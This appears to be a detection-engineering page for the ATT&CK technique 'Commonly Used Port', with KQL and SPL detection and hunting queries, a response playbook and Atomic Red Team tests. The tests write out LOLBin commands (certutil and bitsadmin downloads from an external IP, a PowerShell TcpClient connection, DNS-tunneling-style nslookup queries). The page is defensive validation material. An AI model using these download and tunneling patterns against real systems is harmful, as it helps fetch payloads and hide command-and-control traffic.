T1043

Commonly Used Port

Command and Control Last updated:

Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection. They may use commonly open ports such as TCP:80 (HTTP), TCP:443 (HTTPS), TCP:25 (SMTP), and TCP/UDP:53 (DNS). They may use the protocol associated with the port, or a completely different protocol to evade inspection. For connections within an enclave, common ports include TCP/UDP:135 (RPC), TCP/UDP:22 (SSH), and TCP/UDP:3389 (RDP). This technique has been deprecated in favor of T1571 (Non-Standard Port) and T1071 (Application Layer Protocol), but the detection pattern remains relevant: identifying unexpected processes communicating over well-known ports that do not match their expected traffic profile.

What is T1043 Commonly Used Port?

Commonly Used Port (T1043) maps to the Command and Control tactic — the adversary is trying to communicate with compromised systems to control them in MITRE ATT&CK.

This page provides production-ready detection logic for Commonly Used Port, covering the data sources and telemetry it touches: Network Traffic: Network Connection Creation, Process: Process Creation, Microsoft Defender for Endpoint. The queries below are rated medium severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Command and Control
Canonical reference
https://attack.mitre.org/techniques/T1043/
Microsoft Sentinel / Defender
kusto
// Detect unusual processes communicating over commonly used ports
// Focus: non-browser/non-service processes using HTTP/HTTPS/DNS/SMTP/RDP/SSH/RPC
let CommonPorts = dynamic([80, 443, 53, 25, 22, 3389, 135]);
let LegitimateHTTPProcesses = dynamic([
  "chrome.exe", "firefox.exe", "msedge.exe", "iexplore.exe", "safari",
  "svchost.exe", "MicrosoftEdge.exe", "OneDrive.exe", "Teams.exe",
  "outlook.exe", "winlogon.exe", "lsass.exe", "services.exe",
  "MsMpEng.exe", "wuauclt.exe", "WindowsUpdate", "TiWorker.exe",
  "msiexec.exe", "wermgr.exe", "SearchIndexer.exe"
]);
DeviceNetworkEvents
| where Timestamp > ago(24h)
| where RemotePort in (CommonPorts)
| where ActionType == "ConnectionSuccess"
// Exclude obviously legitimate processes
| where InitiatingProcessFileName !in~ (LegitimateHTTPProcesses)
// Exclude internal RFC1918 destinations for some ports (keep RDP/SSH lateral movement)
| extend IsInternal = (RemoteIPType == "Private")
// Flag suspicious process categories
| extend IsScriptInterpreter = InitiatingProcessFileName in~ (
    "powershell.exe", "pwsh.exe", "cmd.exe", "wscript.exe",
    "cscript.exe", "mshta.exe", "wmic.exe"
  )
| extend IsLOLBin = InitiatingProcessFileName in~ (
    "rundll32.exe", "regsvr32.exe", "certutil.exe", "bitsadmin.exe",
    "msbuild.exe", "csc.exe", "installutil.exe", "regasm.exe",
    "regsvcs.exe", "ieexec.exe", "msiexec.exe", "expand.exe",
    "extrac32.exe", "makecab.exe", "pcalua.exe", "replace.exe",
    "hh.exe", "infdefaultinstall.exe", "xwizard.exe"
  )
| extend IsUnusualSystem = InitiatingProcessFileName in~ (
    "notepad.exe", "calc.exe", "mspaint.exe", "wordpad.exe",
    "write.exe", "winver.exe", "charmap.exe", "snippingtool.exe"
  )
| where IsScriptInterpreter or IsLOLBin or IsUnusualSystem
| project
    Timestamp,
    DeviceName,
    AccountName,
    InitiatingProcessFileName,
    InitiatingProcessCommandLine,
    InitiatingProcessParentFileName,
    RemoteIP,
    RemotePort,
    RemoteIPType,
    IsInternal,
    IsScriptInterpreter,
    IsLOLBin,
    IsUnusualSystem
| sort by Timestamp desc

Detects unusual processes (script interpreters, LOLBins, desktop utilities) making outbound network connections over commonly used ports (80, 443, 53, 25, 22, 3389, 135). Adversaries use these ports to blend C2 traffic with legitimate services. The query focuses on process-port anomalies: processes that have no business reason to initiate connections on these well-known ports, which is a strong indicator of protocol camouflage or C2 channel abuse.

medium severity medium confidence

Data Sources

Network Traffic: Network Connection Creation Process: Process Creation Microsoft Defender for Endpoint

Required Tables

DeviceNetworkEvents DeviceProcessEvents

False Positives

  • Scripting engines (PowerShell, cscript) used by legitimate IT automation tools to call REST APIs over HTTPS (port 443) — common with Ansible, Chef, Puppet, SCCM
  • certutil.exe and bitsadmin.exe used by Windows Update or software distribution systems to fetch payloads over HTTP/HTTPS
  • msiexec.exe downloading MSI packages from internal or cloud distribution points over port 80/443
  • IT monitoring agents (SolarWinds, Datadog, Zabbix) using script-based checks that make HTTP requests
  • Developer workstations where build tools (msbuild.exe, csc.exe) reach out to NuGet package feeds over HTTPS

Sigma rule & cross-platform mapping

The detection logic for Commonly Used Port (T1043) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource:

logsource:
  category: process_creation
  product: windows

Browse the community-maintained Sigma rules for this technique:


Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1PowerShell C2 Simulation over HTTPS Port 443

    Expected signal: Sysmon Event ID 1: Process Create for powershell.exe with the TcpClient command in CommandLine. Sysmon Event ID 3: Network Connection to 93.184.216.34:443 with Image=powershell.exe. DeviceNetworkEvents in MDE will show InitiatingProcessFileName=powershell.exe, RemotePort=443, RemoteIPType=Public.

  2. Test 2certutil.exe HTTP Download over Port 80

    Expected signal: Sysmon Event ID 1: Process Create for certutil.exe with -urlcache and -f in CommandLine. Sysmon Event ID 3: Network Connection to 93.184.216.34:80 with Image containing certutil.exe. Sysmon Event ID 11: File Create for the output file in %TEMP%. Security Event ID 4688 if process creation auditing enabled.

  3. Test 3DNS Tunneling Simulation via nslookup Long Labels

    Expected signal: Sysmon Event ID 3: 10 Network Connection events to 8.8.8.8:53 with Image=nslookup.exe. The high-entropy subdomain labels are visible in DNS query logs if DNS logging is enabled. Windows DNS Client Event ID 3020 in Microsoft-Windows-DNS-Client/Operational for each resolution attempt.

  4. Test 4bitsadmin.exe HTTPS Download over Port 443

    Expected signal: Sysmon Event ID 1: Process Create for bitsadmin.exe with /transfer and /download in CommandLine. Sysmon Event ID 3: Network Connection to 93.184.216.34:443 with Image containing bitsadmin.exe. Sysmon Event ID 11: File create event for output file on success. Security Event ID 4688 with command line if process creation auditing enabled.


Response Playbook

Triage

  1. Identify the initiating process: what is the full image path, parent process, and command line? Run: Get-Process -Id <PID> | Select-Object Path, CommandLine, Parent — or review Sysmon Event ID 1 for the corresponding process creation event within the same timeframe.
  2. Assess the destination: is the remote IP internal (RFC1918) or public? A LOLBin connecting to an external public IP over port 443 is far more suspicious than the same process reaching an internal server. Use threat intel (VirusTotal, Shodan, your TIP) to score the IP.
  3. Examine the timing and frequency: is this a one-time connection or a recurring beacon? Run a time-series query on the same process+destination pair over the past 7 days to identify regular beaconing intervals (e.g., every 60s, 300s).
  4. Check for protocol mismatch: a process connecting on port 443 does not guarantee it speaks TLS. Review network capture data (if available via your NDR/NSM) for whether the traffic is actually TLS-handshaked or raw TCP carrying non-HTTPS protocol bytes.
  5. Review the parent process chain: did this process spawn from a suspicious loader chain (e.g., winword.exe → cmd.exe → powershell.exe)? Trace back to the original execution trigger — scheduled task, Office macro, phishing lure, or user-initiated?
  6. Check for persistence: if the process established a network connection, search for scheduled tasks, registry run keys, or services created around the same timestamp that could re-launch this process after reboot.

Containment

  1. If the remote IP is confirmed malicious and exfiltration or C2 is suspected, immediately isolate the endpoint via EDR network isolation to prevent further beaconing or data loss.
  2. Block the specific remote IP and domain at the perimeter firewall, DNS sinkhole, and web proxy to prevent other endpoints from reaching the same C2 infrastructure.
  3. If a specific LOLBin (certutil, bitsadmin, regsvr32) is being abused, consider deploying an AppLocker or WDAC rule blocking that binary from making outbound network connections if operationally feasible.
  4. Disable or quarantine the initiating process if it is a malicious binary masquerading as a known utility — collect a memory dump before termination.
  5. If the process ran under a user account, disable that account in Active Directory and revoke all active sessions, Kerberos tickets, and OAuth tokens pending investigation.
  6. If lateral movement is suspected (internal IP targets on ports 22/3389/135), isolate the suspected pivot hosts and reset service account credentials immediately.

Evidence Collection

  1. Sysmon Event ID 3 (Network Connection) — captures initiating process, destination IP/port, and connection state; correlate with Event ID 1 (Process Create) using the ProcessGuid field.
  2. Sysmon Event ID 1 (Process Create) — full command line, parent process image and command line, user context, and process GUID for correlation.
  3. Windows Security Event ID 4688 — process creation with command line if Sysmon is not deployed (requires audit process tracking + command line logging via GPO).
  4. Network capture (PCAP) from NDR/NSM sensors — required to confirm protocol mismatch; a connection on port 443 that does not contain a TLS ClientHello is definitive evidence of protocol camouflage.
  5. DNS logs — check for DNS queries immediately prior to the connection event, which may reveal the domain resolved to the destination IP and uncover DGA patterns or lookalike domains.
  6. Prefetch and Shimcache — C:\Windows\Prefetch\<PROCESS>.exe-*.pf confirms execution timestamps and lists DLLs loaded, which may reveal injected or hollowed modules.
  7. Memory acquisition — if active process: dump memory with Volatility/WinPmem to extract in-memory C2 configuration (beacon interval, XOR keys, staging URLs) before process termination.
  8. Firewall/proxy logs — corroborate with perimeter logs to confirm the connection left the network, and identify any similar connections from other endpoints to the same destination.

Escalation Criteria

  • ! Confirmed protocol mismatch: traffic on a well-known port (e.g., 443) that does not use the expected protocol (TLS) — this is definitive evidence of command-and-control channel camouflage.
  • ! LOLBin or script interpreter making outbound connections to a public IP that appears in threat intelligence feeds as a known C2 or malicious host.
  • ! Beaconing pattern detected: the same process connecting to the same external IP at regular intervals (e.g., jitter-based intervals of 55–65 seconds), which is a hallmark of C2 frameworks (Cobalt Strike, Metasploit, Brute Ratel).
  • ! Process making connections on port 22 or 3389 to external IPs — legitimate RDP and SSH to the internet is rare in most enterprises and indicates potential lateral movement to externally exposed infrastructure or use of a cloud pivot.
  • ! Multiple endpoints in the environment exhibiting the same unusual process-to-port connection pattern within a narrow time window, suggesting automated propagation or a shared initial access vector.
  • ! Data volume anomaly: a process using port 80/443 that transfers megabytes or gigabytes of data to an external destination not associated with a known SaaS service — potential staging or exfiltration.

Investigation Guide

Forensic Artifacts

  • > Windows Firewall logs — %SystemRoot%\System32\LogFiles\Firewall\pfirewall.log — provides source/destination IP and port for allowed/blocked connections, predating any log rotation by EDR.
  • > DNS cache — ipconfig /displaydns — shows recently resolved hostnames mapped to the suspicious IP addresses; may reveal the domain prior to C2 channel establishment.
  • > Netstat snapshot — netstat -anob — active connections with owning PID; capture immediately on the live system to confirm active C2 channels before isolation.
  • > Sysmon Event ID 3 — \Microsoft\Windows\Sysmon\Operational — network connection events with process GUID linkage to process creation events.
  • > Browser history and network history — %APPDATA%\Roaming\<browser>\Default\History — cross-reference IP/domain against browsing activity to determine if the destination was ever legitimately visited.
  • > Scheduled Tasks — schtasks /query /fo LIST /v — identify tasks that may periodically re-launch the C2-connected process; check task creation timestamps against initial alert time.
  • > Registry Run Keys — HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run, HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run — persistence mechanisms that launch the malicious process on logon.
  • > PCAP from wire — if available from a network tap or NDR appliance, captures full packet content allowing protocol analysis to confirm mismatch between port number and payload protocol.

Tuning Guidance

This technique is deprecated in MITRE ATT&CK but remains operationally relevant as adversaries continue to use common ports for C2 camouflage. Tune by building an allowlist of known-good process-port combinations in your environment: for example, msiexec.exe connecting to your patch management server on port 443 is expected. Maintain this allowlist in a watchlist or lookup table and exclude those combinations using a join or where-not filter. Reduce false positives by requiring a suspicion threshold: flag only when the process-port combination has no prior history in your environment (use a 30-day baseline period). For DNS tunneling detection (port 53), add a bytes-transferred threshold — legitimate DNS queries are small (typically under 512 bytes per transaction); sustained transfers above 1KB per connection strongly indicate tunneling. Consider integrating with your NDR/UEBA platform to score process-port anomalies against behavioral baselines rather than relying solely on static process name lists, which adversaries can trivially bypass by renaming binaries.


Hunting Queries

Hunt for beaconing patterns: processes that repeatedly connect to the same external IP on a common port over an extended period. C2 frameworks typically beacon at regular intervals; aggregating by process+destination over hours and counting hourly active windows surfaces this pattern even when individual connection events appear legitimate.

Hunting — KQL
kql
// Hunt for beaconing behavior: same process connecting to same external IP at regular intervals
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemotePort in (80, 443, 53, 25, 22, 3389, 135)
| where RemoteIPType == "Public"
| summarize
    ConnectionCount = count(),
    FirstSeen = min(Timestamp),
    LastSeen = max(Timestamp),
    UniqueHours = dcount(bin(Timestamp, 1h)),
    AvgBytesSent = avg(SentBytes)
  by DeviceName, InitiatingProcessFileName, RemoteIP, RemotePort
| extend DurationHours = datetime_diff('hour', LastSeen, FirstSeen)
| where ConnectionCount > 20 and DurationHours > 2
// Regular connections across many hours suggests beaconing
| extend BeaconScore = iff(UniqueHours > (DurationHours * 0.6), "HighBeaconLikelihood", "PossibleBeacon")
| sort by ConnectionCount desc
Hunting — SPL
spl
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=3
  NOT (DestinationIp="10.*" OR DestinationIp="172.16.*" OR DestinationIp="192.168.*" OR DestinationIp="127.*")
| eval DestPort=tonumber(DestinationPort)
| where DestPort IN (80, 443, 53, 25, 22, 3389, 135)
| eval ImageBasename=replace(Image, ".*\\\\", "")
| bin _time span=1h
| stats count as HourlyCount by host, ImageBasename, DestinationIp, DestPort, _time
| stats
    sum(HourlyCount) as TotalConnections,
    count as ActiveHours,
    earliest(_time) as FirstSeen,
    latest(_time) as LastSeen
  by host, ImageBasename, DestinationIp, DestPort
| where TotalConnections > 20 AND ActiveHours > 2
| eval BeaconScore=if(ActiveHours > 4, "HighBeaconLikelihood", "PossibleBeacon")
| sort - TotalConnections

Hunt for non-browser processes connecting to external IPs on ports 80/443 without corresponding DNS lookups. Legitimate software typically resolves domain names before connecting; hardcoded IP addresses in C2 configurations skip DNS, making connections traceable via this gap between DNS and network event logs.

Hunting — KQL
kql
// Hunt for processes that ONLY use common ports for C2 — no DNS queries preceding connection
// Processes connecting to external IPs without corresponding DNS lookups may be hardcoding C2 IPs
let NetworkConns = DeviceNetworkEvents
| where Timestamp > ago(24h)
| where RemoteIPType == "Public"
| where RemotePort in (80, 443)
| where InitiatingProcessFileName !in~ ("chrome.exe", "firefox.exe", "msedge.exe", "iexplore.exe")
| project Timestamp, DeviceName, InitiatingProcessFileName, RemoteIP, RemotePort;
let DNSQueries = DeviceNetworkEvents
| where Timestamp > ago(24h)
| where RemotePort == 53
| project DeviceName, DNSTime=Timestamp, InitiatingProcessFileName, ResolvedIP=RemoteIP;
NetworkConns
| join kind=leftanti (
    DNSQueries
    | summarize by DeviceName, InitiatingProcessFileName, ResolvedIP
  ) on $left.DeviceName==$right.DeviceName,
    $left.InitiatingProcessFileName==$right.InitiatingProcessFileName,
    $left.RemoteIP==$right.ResolvedIP
| project Timestamp, DeviceName, InitiatingProcessFileName, RemoteIP, RemotePort
| sort by Timestamp desc
Hunting — SPL
spl
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=3
  NOT (DestinationIp="10.*" OR DestinationIp="172.16.*" OR DestinationIp="192.168.*")
| eval DestPort=tonumber(DestinationPort)
| eval ImageBasename=replace(Image, ".*\\\\", "")
| eval IsDNS=if(DestPort=53, "dns", "conn")
| eval IsHTTP=if(DestPort IN (80, 443), 1, 0)
| eval IsNotBrowser=if(match(lower(ImageBasename), "(chrome|firefox|msedge|iexplore)\.exe"), 0, 1)
| where IsHTTP=1 AND IsNotBrowser=1
| stats
    values(DestinationIp) as ConnectedIPs,
    count as ConnCount
  by host, ImageBasename
| eval SuspicionNote="Non-browser process connecting directly to external IPs on HTTP/HTTPS - possible hardcoded C2 IP"
| sort - ConnCount

Hunt for DNS tunneling by identifying non-standard processes making multiple connections to port 53. DNS tunneling C2 (e.g., DNScat, iodine) encodes command traffic in DNS queries, generating an unusually high volume of DNS requests from unexpected processes. This query specifically targets large byte transfers or high connection frequency from non-DNS-resolver processes.

Hunting — KQL
kql
// Hunt for port 53 (DNS) connections from non-DNS processes — potential DNS tunneling
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemotePort == 53
| where InitiatingProcessFileName !in~ (
    "svchost.exe", "dns.exe", "dnsapi.dll", "nslookup.exe",
    "dig.exe", "Resolve-DnsName", "systemd-resolved",
    "chrome.exe", "firefox.exe", "msedge.exe"
  )
// Large byte transfers over DNS indicate tunneling
| where SentBytes > 500 or ReceivedBytes > 500
| summarize
    TotalConnections = count(),
    TotalSentBytes = sum(SentBytes),
    TotalRecvBytes = sum(ReceivedBytes),
    UniqueDestIPs = dcount(RemoteIP)
  by DeviceName, AccountName, InitiatingProcessFileName, InitiatingProcessCommandLine
| where TotalConnections > 5
| sort by TotalSentBytes desc
Hunting — SPL
spl
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=3 DestinationPort=53
| eval ImageBasename=replace(Image, ".*\\\\", "")
| where NOT match(lower(ImageBasename), "(svchost|dns|nslookup|chrome|firefox|msedge|iexplore)\.exe")
| stats
    count as DNSConnCount,
    dc(DestinationIp) as UniqueResolvers,
    values(CommandLine) as CommandLines
  by host, User, ImageBasename
| where DNSConnCount > 5
| eval TunnelingNote="Non-standard process making multiple DNS connections - investigate for DNS tunneling C2"
| sort - DNSConnCount

Atomic Red Team Tests

Test 1 PowerShell C2 Simulation over HTTPS Port 443
windows

Simulates adversary use of a scripting engine (PowerShell) to establish a network connection over port 443 to an external address. This mimics how C2 frameworks camouflage beaconing traffic by using the standard HTTPS port with a non-browser process. The connection attempt will fail (no listener), but the network connection event and process creation event will be generated for detection validation.

Command

powershell
powershell.exe -NoProfile -Command "try { $c = New-Object System.Net.Sockets.TcpClient; $c.Connect('93.184.216.34', 443); $c.Close() } catch { Write-Output 'Connection attempted (expected to fail or succeed)' }"

Expected Telemetry

Sysmon Event ID 1: Process Create for powershell.exe with the TcpClient command in CommandLine. Sysmon Event ID 3: Network Connection to 93.184.216.34:443 with Image=powershell.exe. DeviceNetworkEvents in MDE will show InitiatingProcessFileName=powershell.exe, RemotePort=443, RemoteIPType=Public.

Expected Detection

KQL query fires: IsScriptInterpreter=true, RemotePort=443, RemoteIPType=Public. SPL query fires: IsScriptInterpreter=1, DestPort=443. Both classify as 'ScriptInterpreter' category.

Test 2 certutil.exe HTTP Download over Port 80
windows

Uses certutil.exe — a classic LOLBin — to attempt an HTTP download over port 80. Adversaries abuse certutil.exe to download malicious payloads while blending into normal HTTP traffic on port 80. The target URL points to a safe, non-malicious address for testing purposes.

Command

powershell
certutil.exe -urlcache -split -f http://93.184.216.34/test.txt %TEMP%\df00tech-certutil-test.txt

Cleanup

powershell
del %TEMP%\df00tech-certutil-test.txt 2>nul & certutil.exe -urlcache -split -f http://93.184.216.34/test.txt delete 2>nul

Expected Telemetry

Sysmon Event ID 1: Process Create for certutil.exe with -urlcache and -f in CommandLine. Sysmon Event ID 3: Network Connection to 93.184.216.34:80 with Image containing certutil.exe. Sysmon Event ID 11: File Create for the output file in %TEMP%. Security Event ID 4688 if process creation auditing enabled.

Expected Detection

KQL query fires: IsLOLBin=true (certutil.exe), RemotePort=80, RemoteIPType=Public. SPL fires: IsLOLBin=1, DestPort=80. Classified as 'LOLBin' category.

Test 3 DNS Tunneling Simulation via nslookup Long Labels
windows

Simulates the DNS query pattern generated by DNS tunneling tools by issuing multiple nslookup queries with long, high-entropy subdomain labels — the hallmark of DNS-tunneled C2 traffic. While nslookup itself is not suspicious, a burst of queries with base64-like subdomains mimics the traffic pattern generated by tools like dnscat2 or iodine.

Command

powershell
for /L %i in (1,1,10) do nslookup aGVsbG8td29ybGQtdGVzdC1iYXNlNjQ%i.example.com 8.8.8.8

Expected Telemetry

Sysmon Event ID 3: 10 Network Connection events to 8.8.8.8:53 with Image=nslookup.exe. The high-entropy subdomain labels are visible in DNS query logs if DNS logging is enabled. Windows DNS Client Event ID 3020 in Microsoft-Windows-DNS-Client/Operational for each resolution attempt.

Expected Detection

Hunting query 3 fires: nslookup.exe making multiple connections to port 53 with DNSConnCount > 5. The pattern of many short-interval DNS connections from a command-line tool is flagged for investigation.

Test 4 bitsadmin.exe HTTPS Download over Port 443
windows

Uses bitsadmin.exe — a built-in Windows Background Intelligent Transfer Service utility — to initiate an HTTPS download over port 443. Adversaries abuse bitsadmin as a LOLBin to download payloads while the connection appears indistinguishable from legitimate Windows Update or BITS-based transfer traffic.

Command

powershell
bitsadmin.exe /transfer df00tech-test /download /priority normal https://93.184.216.34/test.txt %TEMP%\df00tech-bits-test.txt

Cleanup

powershell
bitsadmin.exe /cancel df00tech-test 2>nul & del %TEMP%\df00tech-bits-test.txt 2>nul

Expected Telemetry

Sysmon Event ID 1: Process Create for bitsadmin.exe with /transfer and /download in CommandLine. Sysmon Event ID 3: Network Connection to 93.184.216.34:443 with Image containing bitsadmin.exe. Sysmon Event ID 11: File create event for output file on success. Security Event ID 4688 with command line if process creation auditing enabled.

Expected Detection

KQL query fires: IsLOLBin=true (bitsadmin.exe), RemotePort=443, RemoteIPType=Public. SPL fires: IsLOLBin=1, DestPort=443. Classified as 'LOLBin' category. Beaconing hunting query also surfaces this if bitsadmin is used for repeated transfers.

Related Detections